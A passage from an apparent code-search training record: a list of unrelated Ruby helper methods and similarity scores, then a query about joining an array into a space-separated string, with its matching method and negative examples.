"def display_two_items_w_br( text1, text2 )\n html = String.new\n html += text1.to_s\n html += tag( 'br' ) if text1 && text2\n html += text2.to_s\n html.html_safe\n end",
"def exchange(field1, field2)\n # Is it next to the current element? <== how figure this out?\n pos_f1 = @panels.position_of field1\n pos_f2 = @panels.position_of field2\n # Must be on the same panel\n # x+1, x-1, y=y\n # y+1, y-1, x=x\n if ((pos_f1[0] == pos_f2[0]) and\n (pos_f1[1] == pos_f2[1] and\n (pos_f1[2] == pos_f2[2]-1 or pos_f1[2] == pos_f2[2]+1)) or\n (pos_f1[2] == pos_f2[2] and\n (pos_f1[1] == pos_f2[1]-1 or pos_f1[1] == pos_f2[1]+1))\n )\n # Find connected fields (= same class) and return a list\n # But use the class of the other field, because of exchange!!!\n neighbor_fields = Array()\n neighbor_fields[0] =\n connected_fields(pos_f1, pos_f2, field2.class_name)\n neighbor_fields[1] =\n connected_fields(pos_f2, pos_f1, field1.class_name)\n\n # End here, if none of the arrays has at least 3 entries\n if(neighbor_fields[0].count < 3 and neighbor_fields[1].count < 3)\n return false \n end\n\n # Do the exchange\n change_field_contents(pos_f2, pos_f1)\n\n # join the lists, if both have more then 3 entries\n if neighbor_fields[0].count >= 3 and neighbor_fields[1].count >= 3\n neighbor_fields[0] = (neighbor_fields[0] + neighbor_fields[1]).uniq\n neighbor_fields[1] = Array()\n end\n\n # Plop all fields array, if we have at least 3 entries\n neighbor_fields.each do |fields|\n if fields.count >= 3\n fields.each do |field|\n # polppeldops\n @panels.set_field(field, \"\")\n end\n fill_up_fields(fields, pos_f1[0],\n pos_f1[1]-pos_f2[1], pos_f1[2]-pos_f2[2])\n end\n end\n\n # End of level?\n # If there is no more person on the gamefield. The level ends.\n unless @panels.somebody_out_there?\n start_level\n return true\n end\n\n # Exchange content of the interchangers\n INTERCHANGER.each do |changer|\n change_field_contents(\n @panels.position_by_id(changer+\"p1\"),\n @panels.position_by_id(changer+\"p2\")\n )\n end\n\n true\n else\n false\n end\n end",
"def combineBoxes( box1, box2 )\n boxA = getBox( box1[0], box2[0])\n boxB = getBox( box1[1], box2[1])\n return getBox(boxA.first, boxB.last)\n end",
"def blocklists; end",
"def box(title=nil, subtitle=nil, options={}, &block)\n options[:style] ||= \"width:100%;\"\n options[:start] ||= :open\n concat <<-HTML\n <div class=\"x-box\" style=\"#{options[:style]}\">\n <div class=\"x-box-tl\">\n <div class=\"x-box-tr\">\n <div class=\"x-box-tc\"> </div>\n </div>\n </div>\n <div class=\"x-box-ml\">\n <div class=\"x-box-mr\">\n <div class=\"x-box-mc\">\n <div id=\"x-body-title\" style=\"#{\"cursor:pointer\" if options[:collapsible]}\" onclick=\"#{\"Backend.app.collapseBoxes(this);\" if options[:collapsible]}\">\n #{\"<h3 style=\\\"margin-bottom:0px;padding-bottom:0px;float:left;\\\">\"+title+\"</h3>\" unless title.blank?}\n #{\"<div style=\\\"float:right\\\"><em>\"+subtitle+\"</em></div>\" unless subtitle.blank?}\n #{\"<br class=\\\"clear\\\" />\" if !title.blank? || !subtitle.blank?}\n #{\"<div style=\\\"font-size:0px\\\"> </div>\" if !title.blank? || !subtitle.blank?}\n </div>\n <div class=\"#{\"x-box-collapsible\" if options[:collapsible]}\" style=\"width:99%;#{\"display:none\" if options[:collapsible] && options[:start] == :close}\">\n #{\"<div style=\\\"font-size:10px\\\"> </div>\" if !title.blank? || !subtitle.blank?}\n #{capture(&block)}\n #{\"<div style=\\\"text-align:right;margin-top:10px\\\">#{submit_tag(I18n.t(\"lipsiadmin.buttons.save\"), :onclick=>\"Backend.app.submitForm()\")}</div>\" if options[:submit]}\n </div>\n </div>\n </div>\n </div>\n <div class=\"x-box-bl\">\n <div class=\"x-box-br\">\n <div class=\"x-box-bc\"> </div>\n </div>\n </div>\n </div>\n HTML\n end",
"def box(title=nil, options={}, &block)\n title = I18n.t(\"admin.boxs.#{title}\", :default => title.to_s.humanize) if title.is_a?(Symbol)\n subtitle = options.delete(:subtitle)\n options[:style] ||= \"width:100%;\"\n options[:start] ||= :open\n concat_content (<<-HTML).gsub(/ {10}/, '')\n <div class=\"#{options[:class]}\" style=\"options[:style]\">\n <div class=\"x-box\">\n <div class=\"x-box-tl\">\n <div class=\"x-box-tr\">\n <div class=\"x-box-tc\"> </div>\n </div>\n </div>\n <div class=\"x-box-ml\">\n <div class=\"x-box-mr\">\n <div class=\"x-box-mc\">\n <div id=\"x-body-title\" style=\"#{\"cursor:pointer\" if options[:collapsible]}\" onclick=\"#{\"Admin.app.collapseBoxes(this);\" if options[:collapsible]}\">\n #{\"<h3 style=\\\"margin-bottom:0px;padding-bottom:0px;float:left;\\\">\"+title+\"</h3>\" if title.present?}\n #{\"<div style=\\\"float:right\\\"><em>\"+subtitle+\"</em></div>\" if subtitle.present?}\n #{\"<br class=\\\"clear\\\" />\" if title.present? || subtitle.present?}\n #{\"<div style=\\\"font-size:0px\\\"> </div>\" if title.present? || subtitle.present?}\n </div>\n <div class=\"#{\"x-box-collapsible\" if options[:collapsible]}\" style=\"width:99%;#{\"display:none\" if options[:collapsible] && options[:start] == :close}\">\n #{\"<div style=\\\"font-size:10px\\\"> </div>\" if title.present? || subtitle.present?}\n #{capture_html(&block)}\n </div>\n </div>\n </div>\n </div>\n <div class=\"x-box-bl\">\n <div class=\"x-box-br\">\n <div class=\"x-box-bc\"> </div>\n </div>\n </div>\n </div>\n </div>\n HTML\n end",
"def boxed\n @boxed = true\n end",
"def layout\n for box in @boxes\n if !box.inPosition\n findSpot(box)\n end\n end\n end",
"def test04_post_closed_board_ArticleTwoComments\n\t\tcreate_article_woGroup \"Article post for comment #{random}\"\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\tend",
"def is_floating_state\n super\n end",
"def merge(boxes)\n content = []\n tracker = nil\n boxes.each do |b|\n content << b.contents\n unless b.tracker.nil?\n if tracker.nil?\n tracker = b.tracker\n else\n tracker = tracker.merge(b.tracker)\n end\n end\n end\n Box.new(content, tracker)\n end",
"def box config={}, &block\n require 'canis/core/widgets/box'\n # take current stacks row and col\n # advance row by one and col by one\n # at end note row and advance by one\n # draw a box around using these coordinates. width should be\n # provided unless we have item width or something.\n last = @_ws_active.last\n if last\n r = last[:row]\n c = last[:col]\n config[:row] = r\n config[:col] = c\n last[:row] += config[:margin_top] || 1\n last[:col] += config[:margin_left] || 1\n _box = Box.new @form, config # needs to be created first or will overwrite area after others painted\n yield_or_eval &block if block_given?\n h = config[:height] || last[:height] || (last[:row] - r)\n h = 2 if h < 2\n w = config[:width] || last[:width] || 15 # tmp\n case last\n when WsFlow\n w = last[:col]\n when WsStack\n #h += 1\n end\n config[:row] = r\n config[:col] = c\n config[:height] = h\n config[:width] = w\n _box.row r\n _box.col c\n _box.height h\n _box.width w\n last[:row] += 1\n last[:col] += 1 # ??? XXX if flow we need to increment properly or not ?\n end\n end",
"def render_sidebar\n content_tag(:section, class: \"umm-preview #{form_id}\") do\n concat(content_tag(:h4, class: 'umm-preview-sidebar-title') do\n title\n end)\n\n fields.each do |field|\n concat UmmPreviewField.new(schema_type: schema_type, preview_json: field, data: data, form_id: form_id, key: full_key, draft_id: draft_id, options: options).render\n end\n end\n end",
"def add_block\n block = params[:block].to_s.underscore\n if block.present? && BLOCKS.key?(block)\n @user = User.current\n layout = @user.pref[:my_page_layout] || {}\n # remove if already present in a group\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n # add it on top\n layout['top'].unshift block\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n redirect_to my_page_layout_path\n end",
"def add_block\n block = params[:block].to_s.underscore\n if block.present? && BLOCKS.key?(block)\n @user = User.current\n layout = @user.pref[:my_page_layout] || {}\n # remove if already present in a group\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n # add it on top\n layout['top'].unshift block\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n redirect_to my_page_layout_path\n end",
"def add_for_num_blocks(words)\n # We just add to the single block, and we split this when we call\n # #blocks\n single_block.concat(words)\n end",
"def enclose_box!(box)\n box[0] << \"+\"\n box[1] << \"|\"\n box[2] << \"|\"\n box[3] << \"|\"\n box[4] << \"+\"\n box\nend",
"def show\n render layout: 'sidebar_left'\n end",
"def form_field(first_element, second_element)\n\t\tcontent_tag :div, class: 'field' do\n\t\t\tconcat first_element\n\t\t\tconcat second_element\n\t\tend\n\tend",
"def display_both_bottoms\n\t\tdisplay_boards_separators(method(:display_bottom_separator))\n\tend",
"def box msgs, box_char=@box_char, box_size=@box_size\n self.liner box_char, box_size\n [msgs].flatten.each do |text|\n text.each_line do |line|\n self.<< '# ' + box_char + ' ' + line.chomp + \"\\n\"\n end\n end\n self.liner box_char, box_size\n end",
"def box config={}, &block\n require 'canis/core/widgets/box'\n # take current stacks row and col\n # advance row by one and col by one\n # at end note row and advance by one\n # draw a box around using these coordinates. width should be\n # provided unless we have item width or something.\n @_ws_active ||= []\n last = @_ws_active.last\n if last\n r = last[:row]\n c = last[:col]\n config[:row] = r\n config[:col] = c\n last[:row] += config[:margin_top] || 1\n last[:col] += config[:margin_left] || 1\n _box = Box.new @form, config # needs to be created first or will overwrite area after others painted\n yield_or_eval &block if block_given?\n # FIXME last[height] needs to account for row\n h = config[:height] || last[:height] || (last[:row] - r)\n h = 2 if h < 2\n w = config[:width] || last[:width] || 15 # tmp\n case last\n when WsFlow\n w = last[:col]\n when WsStack\n #h += 1\n end\n config[:row] = r\n config[:col] = c\n config[:height] = h\n config[:width] = w\n _box.row r\n _box.col c\n _box.height h\n _box.width w\n last[:row] += 1\n last[:col] += 1 # ??? XXX if flow we need to increment properly or not ?\n end\n end",
"def display_both_centers\n\t\t@decoding_board.each_with_index do |decoding_row, index|\n\t\t\trating_row = @rating_board[index]\n\n\t\t\tdisplay_row(decoding_row, HOLE_SIZE, false)\n\t\t\tprint \" \"\n\t\t display_row(rating_row, RATING_SIZE, true, false)\n\n\t\t if index < @decoding_board.length - 1\n\t\t \tdisplay_boards_separators(method(:display_middle_separator))\n\t\t end\n\t\tend\n\tend",
"def add_for_num_blocks(words)\n # We just add to the single block, and we split this when we call\n # #blocks\n @single_block += words\n end",
"def divide(x1,x2,y1,y2)\n width = x2-x1+1\n length = y2-y1+1\n if length != 1 && width != 1\n if length > width #add walls horizontally\n div = buildWall(x1,x2,y1,y2,\"hor\")\n divide(x1,x2,y1,div-1)\n divide(x1,x2,div+1,y2)\n else #add walls vertically\n div = buildWall(y1,y2,x1,x2,\"ver\")\n divide(x1,div-1,y1,y2)\n divide(div+1,x2,y1,y2)\n end\n end\n end",
"def left; end",
"def left; end",
"def left; end",
"def order_blocks\n group = params[:group]\n @user = User.current\n if group.is_a?(String)\n group_items = (params[\"blocks\"] || []).collect(&:underscore)\n group_items.each {|s| s.sub!(/^block_/, '')}\n if group_items and group_items.is_a? Array\n layout = @user.pref[:my_page_layout] || {}\n # remove group blocks if they are presents in other groups\n %w(top left right).each {|f|\n layout[f] = (layout[f] || []) - group_items\n }\n layout[group] = group_items\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n end\n render :nothing => true\n end",
"def order_blocks\n group = params[:group]\n @user = User.current\n if group.is_a?(String)\n group_items = (params[\"blocks\"] || []).collect(&:underscore)\n group_items.each {|s| s.sub!(/^block_/, '')}\n if group_items and group_items.is_a? Array\n layout = @user.pref[:my_page_layout] || {}\n # remove group blocks if they are presents in other groups\n %w(top left right).each {|f|\n layout[f] = (layout[f] || []) - group_items\n }\n layout[group] = group_items\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n end\n render :nothing => true\n end",
"def margin_left\n 1\n end",
"def start_boxers\n end",
"def create\n @social_media_links_box = SocialMediaLinksBox.new(params[:social_media_links_box])\n @social_media_links_box.parent = @parent_node\n\n respond_to do |format|\n if @commit_type == 'preview' && @social_media_links_box.valid?\n format.html { render :template => 'admin/shared/create_preview', :locals => { :record => @social_media_links_box }, :layout => 'admin/admin_preview' }\n format.xml { render :xml => @social_media_links_box, :status => :created, :location => @social_media_links_box }\n elsif @commit_type == 'save' && @social_media_links_box.save(:user => current_user)\n format.html { render 'admin/shared/create' }\n format.xml { head :ok }\n else\n format.html { render :template => 'admin/shared/new', :locals => { :record => @social_media_links_box }, :status => :unprocessable_entity }\n format.xml { render :xml => @social_media_links_box.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def column_div(options = {}, &block)\n klass = options.delete(:type) == :primary ? \"col1\" : \"col2\"\n # Allow callers to pass in additional classes.\n options[:class] = \"#{klass} #{options[:class]}\".strip\n concat(content_tag(:div, capture(&block), options))\n end",
"def column_div(options = {}, &block)\n klass = options.delete(:type) == :primary ? \"col1\" : \"col2\"\n # Allow callers to pass in additional classes.\n options[:class] = \"#{klass} #{options[:class]}\".strip\n concat(content_tag(:div, capture(&block), options))\n end",
"def ensure_children_for_division(division, floats)\n widths = division.split('-').map(&:to_i)\n return if widths.length < floats.length\n widths.zip(floats, children).each do |width, float, child|\n if child\n child.update_attributes!(:width => width, :float => float)\n else\n child = self.class.create!(:width => width, :float => float)\n child.move_to_child_of self\n end\n end\n end",
"def +(other)\n Box.new(@width + other.width, @heigth + other.heigth)\n end",
"def nebula; end",
"def display_both_tops\n\t\tdisplay_boards_separators(method(:display_top_separator))\n\tend",
"def prettybox(html_options, &proc)\n raise ArgumentError, \"Missing block\" unless block_given?\n concat(tag(\"div\", html_options, true), proc.binding)\n concat(\"<div class=\\\"prettybox_top\\\">\n <div> </div>\n </div><div class=\\\"prettybox_inside\\\">\", proc.binding)\n yield\n concat(\"</div><div class=\\\"prettybox_bot\\\">\n <div> </div>\n </div>\n </div>\", proc.binding)\n end",
"def draw_both\n \t\" #{@spaces[:space_1]} | #{@spaces[:space_2]} | #{@spaces[:space_3]}\\t\\t\" +\n \t\" #{@sample[:space_1]} | #{@sample[:space_2]} | #{@sample[:space_3]}\\n\" +\n \t\t\t\t\t \" _____|_____|____\\t\\t\" + \" _____|_____|____\\n\" + \t\n \t\" #{@spaces[:space_4]} | #{@spaces[:space_5]} | #{@spaces[:space_6]}\\t\\t\" +\n \t\" #{@sample[:space_4]} | #{@sample[:space_5]} | #{@sample[:space_6]}\\n\" +\n \t\t\t\t\t \" _____|_____|____\\t\\t\" + \" _____|_____|____\\n\" +\n \t\" #{@spaces[:space_7]} | #{@spaces[:space_8]} | #{@spaces[:space_9]}\\t\\t\" +\n \t\" #{@sample[:space_7]} | #{@sample[:space_8]} | #{@sample[:space_9]}\\n\" +\n \t\t\t\t\t \" | | \\t\\t\" + \" | | \\n\\n\"\n end",
"def _draw_2_lane(&block)\n result = @left ? @vc.tag(:tr, nil, true) : ''.html_safe\n result += yield\n result += '</tr>'.html_safe if !@left\n @left = !@left # flip it\n result\n end",
"def flipflop!\n\t\tif size > 1\n\t\t\ta, b = shift, pop\n\t\t\tunshift(b); push(a)\n\t\tend\n\tend",
"def full(nested=false)\n m = { clear: 'both' }\n\n m.merge!({\n margin_left: side_gutter,\n margin_right: side_gutter\n }) unless nested\n\n mixin m\n end",
"def add_edge(left, right)\n left.blocked_by(right)\n right.blocking(left)\n \n @edges << [left, right]\n end",
"def left?; end",
"def width\n left + right\n end",
"def create_gallery_block(gal_name, cols = 3, rows = 5, _browser = @browser)\n wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n Log.logger.info(\"Creating the block for '#{gal_name}' Gallery.\")\n self.open_gallery(gal_name)\n wait.until { _browser.find_element(:xpath => @galmgr.edit_gallery) }.click\n frame = wait.until { _browser.find_element(:xpath => @galmgr.edit_overlay_frame) }\n _browser.switch_to.frame(frame)\n wait.until { _browser.find_element(:xpath => @galmgr.gallery_block_link) }.click\n box = _browser.find_element(:xpath => @galmgr.gallery_block_chkbox)\n if not box.selected?\n box.click\n else\n Log.logger.info(\"Block was already created, changing columns and rows of the block now\")\n end\n _browser.find_element(:xpath => \"#{@galmgr.gallery_block_cols}/option[text()='#{cols}']\").click\n temp = _browser.find_element(:xpath => @galmgr.gallery_block_rows)\n temp.clear\n temp.send_keys(rows)\n wait.until { _browser.find_element(:xpath => @galmgr.save_gallery_btn) }.click\n _browser.switch_to.default_content\n end",
"def left\n send left_column_name\n end",
"def process_complex_block_opener(tk); end",
"def box_beside(origin_box, width, height, options = {}, &block)\n position = position_beside(origin_box, options[:gutter] || 0)\n box(position, width, height, options, &block)\n end",
"def add(box, doLayout = true)\n # add the box\n @boxes << box\n box.inPosition = false\n box.parent = self\n \n if doLayout\n findSpot(box)\n end\n end",
"def prettybox_bottomonly(html_options, &proc)\n raise ArgumentError, \"Missing block\" unless block_given?\n concat(tag(\"div\", html_options, true), proc.binding)\n concat(\"<div class=\\\"prettybox_inside\\\">\", proc.binding)\n yield\n concat(\"</div><div class=\\\"prettybox_bot\\\">\n <div> </div>\n </div>\n </div>\", proc.binding)\n end",
"def create\n @block = @site.blocks.build(params[:block])\n @block.user_id = current_user.id\n\n respond_to do |format|\n if @block.save\n flash[:notice] = 'Block was successfully created.'\n format.html { redirect_to(one_table_blocks_path(@one_table)) }\n format.xml { render :xml => @block, :status => :created, :location => @block }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @block.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def wrap_block_in_syntax_tags(block)\n \"<div class=\\\"syntax\\\">\" + block + '</div>'\n end",
"def closing_tag\n\n\n\n \"<div style=\\\"clear:both;\\\"></div>\" + super\n\n\n\n end",
"def assert_three_main_boxes\r\n\r\n tool_resources = @driver.find_element(:css => '.widget-box.edge-frame.purple')\r\n assert_not_nil(tool_resources, 'Not Found - Tool & Resources box')\r\n\r\n members = @driver.find_element(:css => '.widget-box.edge-frame.darkgreen')\r\n assert_not_nil(members, 'Not Found - Members box')\r\n\r\n news = @driver.find_element(:css => '.widget-box.edge-frame.orange')\r\n assert_not_nil(news, 'Not Found - News box')\r\n\r\n end",
"def div_gutter\n div :class => \"column span-1\" do \n nbsp\n end\n end",
"def left_align\n @align = nil\n end",
"def div_block children, role\n tag_block('div', children, class: role)\n end",
"def add_multi_block(block)\n\t\t\t@encoded << block\n\tend",
"def last_created_box\n @last_created_box ||= nil\n end",
"def anonymous_blocklists; end",
"def +(other)\n if @x1 > other.x1 then x1 = other.x1 else x1 = @x1 end\n if @y1 > other.y1 then y1 = other.y1 else y1 = @y1 end\n if @x2 < other.x2 then x2 = other.x2 else x2 = @x2 end\n if @y2 < other.y2 then y2 = other.y2 else y2 = @y2 end\n Box.new(x1, y1, x2, y2)\n end",
"def editor_left!\n Vedeu.bind(:_editor_left_) { |name| Vedeu.documents.by_name(name).left }\n end",
"def boxes\n return @@boxes\n end",
"def block_name \n :CodeBlock \n end",
"def block_name \n :CodeBlock \n end",
"def push_mid_into_left\n @left.type, @left.value2, @left.right = 3, @value1, @mid.left\n @type = 1\n end",
"def bleed_box(x0, y0, x1, y1)\n @pages.bleed_box = [ x0, y0, x1, y1 ]\n end",
"def build_multiple_editor_layout(width, height, pane_ids)\n editor_height = height / 2\n top_editor_pane_ids = pane_ids[0, pane_ids.count/2]\n bottom_editor_pane_ids = pane_ids[pane_ids.count/2..-1]\n top_editor_layouts = distribute_horizontally(0, width, editor_height, top_editor_pane_ids)\n bottom_editor_layouts = distribute_horizontally(editor_height+1, width, height-editor_height-1, bottom_editor_pane_ids)\n\n top_layout = top_editor_layouts.count == 1 ? top_editor_layouts.first : Layout.new(\"#{width}x#{editor_height}\", 0, 0, HorizontalNesting.new(top_editor_layouts))\n bottom_layout = bottom_editor_layouts.count == 1 ? bottom_editor_layouts.first : Layout.new(\"#{width}x#{height-editor_height-1}\", 0, editor_height+1, HorizontalNesting.new(bottom_editor_layouts))\n\n Layout.new(\"#{width}x#{height}\", 0, 0, VerticalNesting.new([ top_layout, bottom_layout ]))\nend",
"def order_blocks\n group = params[:group]\n @user = User.current\n if group.is_a?(String)\n group_items = (params[\"blocks\"] || []).collect(&:underscore)\n group_items.each {|s| s.sub!(/^block_/, '')}\n # remove group blocks if they are presents in other groups\n group_items.each {|s| @user.pref.remove_block(s)}\n @user.pref.my_page_layout[group] = group_items\n @user.pref.save\n end\n head 200\n end",
"def block_both_sides_of_users!\n # block_users! # This would ensure reporter's side has blocks made\n offender.family_user_ids.each do|offender_family_user_id|\n ::Users::UserBlock.add_to_user_blocks!(offender_family_user_id, reporter.family_user_ids )\n end\n end",
"def html_blocklike_show(title, content)\n render('layouts/block', :title => title, :content => content) unless content.blank?\n end",
"def align_left\n @horizontal_align = :left\n return self\n end",
"def cleared_linked_display\n h.content_tag(:div, linked_display, class:'images single clear').html_safe\n end",
"def insert_left(other)\n left.insert(other.project(left.header))\n end",
"def draw_left_rests\n if @left_rests > 0\n big_rests = @left_rests / 2\n small_rests = @left_rests % 2\n if (@index % 2) == 1\n big_rests.times{@left_hand << \"r4 \"}\n @left_hand << \"r#{(8.0/small_rests).to_i} \" if small_rests > 0\n else\n @left_hand << \"r#{(8.0/small_rests).to_i} \" if small_rests > 0\n big_rests.times{@left_hand << \"r4 \"}\n end\n @left_rests = 0\n end\n end",
"def fours\r\n left, right = self.pops self.size/3\r\n left.twos + right.twos\r\n end",
"def left\n cursor.left\n\n refresh\n end",
"def blocks; end",
"def blocks; end",
"def blocks; end",
"def putFragmentBlock\n puts_tag(\"fragments\") { yield }\n end",
"def piece_left\n return unless @falling_piece\n\n @falling_piece.x -= @block_size\n @falling_piece.grid_position.x -= 1\n\n piece_right if collides?\n end",
"def increase_body #:nodoc:\n @right2.row @right2.row()-1\n @right1.height -=1\n @right2.height +=1\n @right2.repaint_required true\n @right1.repaint_required true\n end",
"def static_group(name, value, options = {})\n div_class = \"half clearfix\" if options.delete(:float)\n content = content_tag(:label, name) + content_tag(:p, value, options)\n content_tag :div, content, class: div_class\n end",
"def cleared_linked_display\n h.content_tag(:div, linked_display, class: 'images single clear').html_safe\n end",
"def reset_html5\n html5_blocks = %w(\n article\n aside\n details\n figcaption\n figure\n footer\n header\n hgroup\n menu\n nav\n section\n summary\n )\n \n _(html5_blocks) {\n display 'block'\n }\n end",
"def colliding?(block)\n x2 > block.x1 &&\n x1 < block.x2 &&\n y2 > block.y1 &&\n y1 < block.y2 &&\n z2 > block.z1 &&\n z1 < block.z2\n end"
] | [
"0.58390015",
"0.52419776",
"0.5044535",
"0.4948103",
"0.48815846",
"0.48268345",
"0.47270834",
"0.46595266",
"0.4517622",
"0.4507763",
"0.4491649",
"0.44737348",
"0.44705626",
"0.44566122",
"0.44476724",
"0.44317672",
"0.4430788",
"0.44307515",
"0.4428931",
"0.44123876",
"0.43956774",
"0.43736383",
"0.43714756",
"0.4359811",
"0.4359811",
"0.43401778",
"0.43310094",
"0.43288684",
"0.43161187",
"0.43148085",
"0.4313025",
"0.43124825",
"0.4294935",
"0.4274445",
"0.42557383",
"0.42545953",
"0.42545953",
"0.42545953",
"0.4251711",
"0.4251711",
"0.42437783",
"0.42326373",
"0.42252102",
"0.42151788",
"0.42151788",
"0.419584",
"0.41732866",
"0.41584292",
"0.41513234",
"0.41469342",
"0.41401362",
"0.41380903",
"0.41365546",
"0.4127119",
"0.41239956",
"0.4122456",
"0.4111954",
"0.41118616",
"0.41104695",
"0.41076925",
"0.4107204",
"0.4102812",
"0.4099325",
"0.40956742",
"0.4095244",
"0.4089036",
"0.40867454",
"0.40711564",
"0.4070345",
"0.40648317",
"0.40643018",
"0.40634984",
"0.4047696",
"0.404571",
"0.4039994",
"0.40370068",
"0.40354195",
"0.40354195",
"0.4033189",
"0.4029959",
"0.4028464",
"0.4028166",
"0.40195838",
"0.4017116",
"0.4015451",
"0.4011914",
"0.40112707",
"0.40112153",
"0.40105024",
"0.40037668",
"0.40018278",
"0.40018278",
"0.40018278",
"0.3998927",
"0.39961758",
"0.3995588",
"0.3990984",
"0.39866894",
"0.39818707",
"0.39767113"
] | 0.47190097 | 7 |
c: convert array to string just like to_s but with a space between them. | def c(array = [])
str = ""
for a in array
str += a + " "
end
str.strip
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def back_to_s(array)\n array.join(\"\")\nend",
"def string(arr)\n arr.join(\" \")\nend",
"def array_to_string(arr)\n arr.map { |e| \"'#{sanitize(e)}'\" }.join(\",\")\n end",
"def to_s\n to_a.join(' ')\n end",
"def to_s\n to_a.join(' ')\n end",
"def encode_array(arr)\n arr.join ','\n end",
"def to_s\n self.to_a.map {|x| x.to_s}.join\n end",
"def to_s\n self.to_a.map {|x| x.to_s}.join\n end",
"def to_s\n\t\t\t\t'[' << map(&:to_s).join(', ') << ']'\n\t\t\tend",
"def to_s\n\t\tself.to_a.map {|x| x.to_s}.join\n\tend",
"def array_string(array, **opt)\n list_separator = opt[:list_separator] || LIST_SEPARATOR\n normalized_list(array, **opt).join(list_separator)\n end",
"def to_s\n \"#{key}#{array}\"\n end",
"def array_to_string(value)\n result = ''\n value.each { |value| result += to_cli_value(value) + ',' }\n result = '[' + result.chomp(',') + ']'\n end",
"def to_s\n\t\t\tself.to_a.map {|x| x.to_s}.join\n\t\tend",
"def to_s\n\t\t\tself.to_a.map {|x| x.to_s}.join\n\t\tend",
"def to_s\n\t\t\tself.to_a.map {|x| x.to_s}.join\n\t\tend",
"def stringify(arr)\n arr.map { |s| s.to_s }.join(\"<br>\")\n end",
"def to_s\n self.to_a[1,4].map {|x| x.to_s}.join\n end",
"def to_s\n r = []\n each do |e|\n r << e\n end\n '[' + r.join(', ') + ']'\n end",
"def to_s\n array.map { |x| x.map { |y| y.zero? ? ' ' : '█' }.join }.join(\"\\n\")\n end",
"def array_to_sentence_string(array, connector = T.unsafe(nil)); end",
"def to_s\n \"[ \" + collect { |e| e.to_s }.join(\", \") + \" ]\"\n end",
"def to_s(exp)\n if exp.is_a?(Array)\n \"( #{exp.map{ |t| to_s(t) }.join(' ')} )\"\n else\n exp.to_s\n end\n end",
"def to_s\n buf = []\n each { |part| buf << part }\n buf.join\n end",
"def to_s\n to_a.join(SEPARATOR)\n end",
"def to_s()\n value.map {|v| v.to_s}.join(' ')\n end",
"def to_s()\n value.map {|v| v.to_s}.join(' ')\n end",
"def stringify_array( array )\n\t\t\treturn array.collect do |item|\n\t\t\t\tcase item\n\t\t\t\twhen Symbol\n\t\t\t\t\titem.to_s\n\t\t\t\twhen Array\n\t\t\t\t\tstringify_array( item )\n\t\t\t\telse\n\t\t\t\t\titem\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def stringify_array( array )\n\t\t\treturn array.collect do |item|\n\t\t\t\tcase item\n\t\t\t\twhen Symbol\n\t\t\t\t\titem.to_s\n\t\t\t\twhen Array\n\t\t\t\t\tstringify_array( item )\n\t\t\t\telse\n\t\t\t\t\titem\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def stringify_array( array )\n\t\t\treturn array.collect do |item|\n\t\t\t\tcase item\n\t\t\t\twhen Symbol\n\t\t\t\t\titem.to_s\n\t\t\t\twhen Array\n\t\t\t\t\tstringify_array( item )\n\t\t\t\telse\n\t\t\t\t\titem\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def to_s\n self.join \" \"\n end",
"def to_s\n join(\" \")\n end",
"def to_s\n to_a.to_s\n end",
"def to_s\n spoonerize.join(\" \")\n end",
"def to_s\n return super unless elements\n elements.map(&:to_s).join(\" \")\n end",
"def to_s\n self.join('')\n end",
"def to_s\n self.join('')\n end",
"def format(arr, opts={})\n # if seperator is an array, it is using different seperators for inner arrays\n seperator = opts[:seperator] || ' '\n #indicates if it should return nil if one of arr's elements is nil\n ignore = opts.has_key?(:ignore) ? opts[:ignore] : false\n format = opts[:format] || '%s'\n\n # determine if there empty elements in the array\n def has_empty?(a)\n if a.instance_of? Array\n ret = false\n a.each { |x| ret = true if has_empty?(x) }\n ret\n else\n not a or a.empty?\n end\n end\n includes_empty = has_empty? arr\n\n # arrays to string using the seperators\n seperator = [seperator] if not seperator.kind_of? Array\n def visit(ar, lvl, seperator)\n sep = seperator[lvl]\n sep = seperator.first if not sep\n s = ar.map do |element|\n if element.kind_of? Array\n visit(element, lvl + 1, seperator)\n else\n element\n end\n end\n s.reject! { |x| not x or x.empty? } # remove empty/nil elements\n s.join(sep) \n end\n str = visit(arr, 0, seperator)\n\n if includes_empty and ignore\n nil\n else\n format % [str]\n end\n end",
"def to_s\n to_a.to_s\n end",
"def to_s\n \"(#{@x.map(&:to_s).join(\" * \")})\"\n end",
"def to_string(value)\n # indicate a nil\n if value.nil?\n 'nil'\n end\n\n # join arrays\n if value.class == Array\n return value.join(\", \")\n end\n\n # otherwise return to_s() instead of inspect()\n return value.to_s\n end",
"def to_s\n \"(#{@values.map(&:to_s).join(', ')})\"\n end",
"def strify_array( array )\n\t\tarray = [ array ] if !array.is_a?( Array )\n\t\tarray.map do |m|\n\t\t\tm = (Array === m) ? strify_array(m) : m\n\t\t\tm = (Hash === m) ? strify_hash(m) : m\n\t\t\tSymbol === m ? m.to_s : m\n\t\tend\n\tend",
"def array_method(string)\n string.join(\" \")\nend",
